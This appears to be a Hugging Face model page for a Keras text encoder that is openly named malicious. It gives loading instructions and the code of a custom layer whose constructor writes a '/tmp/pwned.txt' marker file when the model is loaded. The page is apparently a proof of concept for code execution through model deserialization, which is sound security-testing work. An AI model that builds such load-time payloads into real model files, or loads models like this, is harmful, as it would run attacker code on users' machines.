Instructions to use xiaoyaoes/malicious-keras-text-encoder with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use xiaoyaoes/malicious-keras-text-encoder with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://xiaoyaoes/malicious-keras-text-encoder") - Notebooks
- Google Colab
- Kaggle
| import keras | |
| import os | |
| class MaliciousEncoder(keras.layers.Layer): | |
| def __init__(self, encoding_type="base64", **kwargs): | |
| super().__init__(**kwargs) | |
| self.encoding_type = encoding_type | |
| # 直接写文件 | |
| try: | |
| with open("/tmp/pwned.txt", "w") as f: | |
| f.write(f"CODE EXECUTED! Type: {encoding_type}") | |
| except Exception as e: | |
| with open("/tmp/pwned_err.txt", "w") as f: | |
| f.write(str(e)) | |
| def call(self, inputs): | |
| return inputs | |
| def get_config(self): | |
| config = super().get_config() | |
| config.update({"encoding_type": self.encoding_type}) | |
| return config | |
| def from_config(cls, config): | |
| return cls(**config) | |